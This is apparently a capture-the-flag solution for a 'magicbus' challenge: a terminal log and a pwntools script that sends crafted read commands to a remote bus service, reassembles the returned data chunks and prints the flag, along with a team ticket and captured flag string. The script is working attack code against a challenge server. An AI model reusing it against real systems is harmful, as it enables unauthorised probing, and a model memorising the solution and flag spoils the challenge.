magicbus

exploit.sh

(ctf) [darkarnium::Callisto MagicBus][0]$ ipython3 --no-banner -i magic_bus.py
[x] Opening connection to bus.satellitesabove.me on port 5041
[x] Opening connection to bus.satellitesabove.me on port 5041: Trying 18.222.201.16
[+] Opening connection to bus.satellitesabove.me on port 5041: Done
[*] Sent b'^93+00+00+35+.' to bus
[*] Sent b'^93+00+00+45+.' to bus
[*] Sent b'^93+00+00+55+.' to bus
[*] Sent b'^93+00+00+75+.' to bus
[*] Sent b'^93+00+00+85+.' to bus
[*] Sent b'^93+00+00+a5+.' to bus
[*] Got [0x56, 0x01] data chunk
[*] Got [0x56, 0x01] data chunk
[*] Got [0x56, 0x01] data chunk
[*] Got [0x56, 0x01] data chunk
[*] Got [0x56, 0x01] data chunk
[*] Got [0x56, 0x01] data chunk
[!] flag{quebec65854quebec:GA7avHnYEEDa8zhDgc5QPOyaCdDML5gNTrp-IBEPeyZc9FEDrqwwzeN7w6_My-kIFheYjdJakhz1W5H1EmejdSo}

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flagger.py

import sys
import binascii

from pwn import *

TICKET = "ticket{quebec65854quebec:GHpbhquFdHUCf15aID5DlcdoHsIrBfisgpFey9tVBozA6JwFzPjwJ3SfNIAhkohmmA}"

# https://stackoverflow.com/questions/22388866/python-list-set-value-at-index-if-index-does-not-exist
class FillList(list):
    def __setitem__(self, index, value):
        try:
            super().__setitem__(index, value)
        except IndexError:
            for _ in range(index-len(self)+1):
                self.append(None)
            super().__setitem__(index, value)


def process_line(line, flag_parts):
    if line.startswith(b'^56+01'):
        log.info('Got [0x56, 0x01] data chunk')
        line = line.replace(b'^', b'').replace(b'+', b'').replace(b'.', b'')
        line = binascii.a2b_hex(line)
        offset = line[2]
        for idx, i in enumerate(line[3:]):
            flag_parts[int(offset+idx)] = chr(i)


flag_parts = FillList()
context.log_level = 'info'

# Connect and iterate until we have everything.
r = remote("bus.satellitesabove.me", 5041)
r.recvline()  # ticket pls
r.sendline(TICKET)

# Addresses (?) to read.
addresses = [
    0x35,
    0x45,
    0x55,
    0x75,
    0x85,
    0xa5,
]

# Capture first chunk before pause.
buffer = r.recvuntil(b'.')
buffer += r.recvuntil(b'^92+00+00+3d')
buffer += r.recvuntil(b'.')
try:
    # Read data from the addresses we care about.
    for address in addresses:
        reader = bytes('^93+00+00+{0:02x}+.'.format(address), 'utf-8')
        r.send(reader)
        log.info('Sent %s to bus', reader)

        # Read back the results.
        buffer += r.recvuntil(b'.') # Echo back.
        buffer += r.recvuntil(b'.') # Response (?)
        buffer += r.recvuntil(b'.') #
        buffer += r.recvuntil(b'.') #
        buffer += r.recvuntil(b'.') # Data!
        buffer += r.recvuntil(b'.') # Trailer (?)
        buffer += r.recvuntil(b'.') #
    
    # ...Then read the rest of the data in the exchange.
    while True:
        buffer += r.recvuntil(b'.')
except:
    pass

# Process the last chunk of data - if required.
for command in buffer.split(b'.'):
    process_line(command, flag_parts)

# Find the flag
flag_start = None
flag_end = None
for idx,_ in enumerate(flag_parts):
    # Find the start of the flag.
    try:
        if flag_parts[idx] == 'f' and \
            flag_parts[idx+1] == 'l' and \
            flag_parts[idx+2] == 'a' and \
            flag_parts[idx+3] == 'g':
            flag_start = idx
        # Find the end of the flag.
        if flag_parts[idx] == '}' and \
            flag_parts[idx+1] == '\x00':
            flag_end = idx
        if flag_start and flag_end:
            break
    except IndexError:
        continue

flag = ''
flag_index = flag_start
while flag_index <= flag_end:
    if flag_parts[flag_index]:
        flag += flag_parts[flag_index]
    else:
        flag += '*'
    flag_index += 1

# get_flag
log.warning(flag)